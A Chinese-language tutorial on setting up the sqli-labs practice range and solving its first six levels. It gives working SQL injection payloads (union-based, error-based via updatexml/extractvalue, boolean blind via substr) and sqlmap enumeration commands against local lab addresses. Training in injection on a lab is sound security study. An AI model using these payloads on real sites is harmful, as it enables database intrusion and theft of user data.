php-study 运行环境
https://www.xp.cn/php-study
下载完后,一直点下一步就行,运行 sqli-labs 需要设置 php 版本为 5.4+(网站 -> 管理 -> php版本),不然有些关卡有问题,低于5.4版本开启了 magic quotes,特殊符号会被转义
sqli-labs 靶场
git clone https://github.com/Audi-1/sqli-labs.git
修改数据库配置文件 sqli-labs/sql-connections/db-creds.inc
sqlmap 工具
https://github.com/sqlmapproject/sqlmap.git
基本命令使用
# 基本使用
python sqlmap.py -u http://10.4.41.15:81/sqli-labs/Less-5/?id=1
# 扫出所有库
python sqlmap.py -u http://10.4.41.15:81/sqli-labs/Less-5/?id=1 --dbs
# 扫出所有的表
python sqlmap.py -u http://10.4.41.15:81/sqli-labs/Less-5/?id=1 --tables
# 扫出指定库中的所有表
python sqlmap.py -u http://10.4.41.15:81/sqli-labs/Less-5/?id=1 -D security --tables
# 扫出指定表的所有字段
python sqlmap.py -u http://10.4.41.15:81/sqli-labs/Less-5/?id=1s -T users --column
# 扫出指定库的指定表的数据量
python sqlmap.py -u http://10.4.41.15:81/sqli-labs/Less-5/?id=1 -D security -T users --count
# 查看用户是否是管理员
python sqlmap.py -u http://10.4.41.15:81/sqli-labs/Less-5/?id=1 --is-dba
# 跑不出来提高等级,-level 3 --risk 2
python sqlmap.py -u http://192.168.92.20:8086/vul/sqli/sqli_id.php --form --random-agent -level 3 --risk 2 --random-agent
白盒测试
- 修改每个 less-x 目录下的 index.php 文件,输出执行的 sql 语句到页面
第一关
- 直接输入 ’ 测试,发现会报错
- 使用 1’ 闭合,-- aaa 注释掉原 sql 后面的条件
- 使用 order by 测试表的字段数,1’ order by 10 – aaa,直到报错,可以证实表有 3个字段
- 使用 1’ and 1=2 将原条件设置成不成立,使用 union select 1,2,3 – aaa 测试页面显示字段的位置
- 查询 information_schema.tables 表,获取当前数据库的所有表
?id=1' and 1=2 union select 1,group_concat(table_name),database() from information_schema.tables where table_schema=database() -- aaa
第二关
- 同理,先使用单引号 ’ 测,发现是数字类型的
- 获取 users 表中所有字段
?id=1000000 union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() -- a
第三关
- 使用单引号 ’ 测试是否报错可以注入,报错提示语句使用 (‘’) 的形式拼接
- 使用 and 1=1 可以输出结果,and 1=2 不可以输出结果,说明思路是正确的
- 注入获取数据库地址和用户名
?id=1') and 1 = 2 union select 1,@@datadir,user() -- a
第四关
- 使用单引号 ’ 测试,没有结果输出。使用双引号 " 测试,输出 SQL 语法错误,表示可以注入
- 安装第三关的方法,使用 1") 使语句闭合,并注入
?id=10000") union select 1,version(),user() -- a
第五关(盲注)
先使用 ’ 测试是否可以注入
布尔类型盲注,页面没有输出 SQL 语句执行结果,只能看到是否有数据显示
- 有结果输出的页面
- 没有结果输出的页面
方法一:使页面显示 SQL 报错语句
updatexml() 函数第二个参数遇到特殊符号会报错,拼接当前数据库显示在页面上
# 在输出的数据库名两边使用符号标记
?id=1' and updatexml('a', concat('?', database(), '!'), 'b') -- a
方法二:使用 burpsuite
- 修改参数,使用 substr() 函数对比数据库名每个字符
# 条件不成立,没有结果输出 id=1' and substr(database(), 1, 1) = 'a' -- a # 条件成立,页面输出结果 ?id=1' and substr(database(), 1, 1) = 's' -- a
- 开启代理,抓包,选择需要爆破的参数
- 设置 payloads
- 第一个参数根据数据库名长度设置大小,先设置最大长度为 10,设置太大跑得很慢
- 第二个参数选择 a-z,0-9,添加自定义元素 _,根据数据库命名规则设置,mysql 不区分大小写
- 执行,根据请求返回的数据库长度排序,组装字符,获得数据库名
方法三:使用 sqlmap 工具
- 执行命令
# -u:指定爆破地址,-D:指定数据库名,--tables:获取指定库中所有表,--flush-session:忽略已经执行过的缓存
python sqlmap.py -u http://10.4.41.15:81/sqli-labs/Less-5/?id=1 -D security --tables --flush-session
第六关
- 使用 id=1 有结果输出,id=’ 没有结果输出也没报错,id=" 页面报错,发现注入点
- 使用报错注入,将数据库用户名输出
# extractvalue():需要使第二个参数不符合 xpath 语法使其报错
?id=-1" and extractvalue("1", concat("*", user())) -- a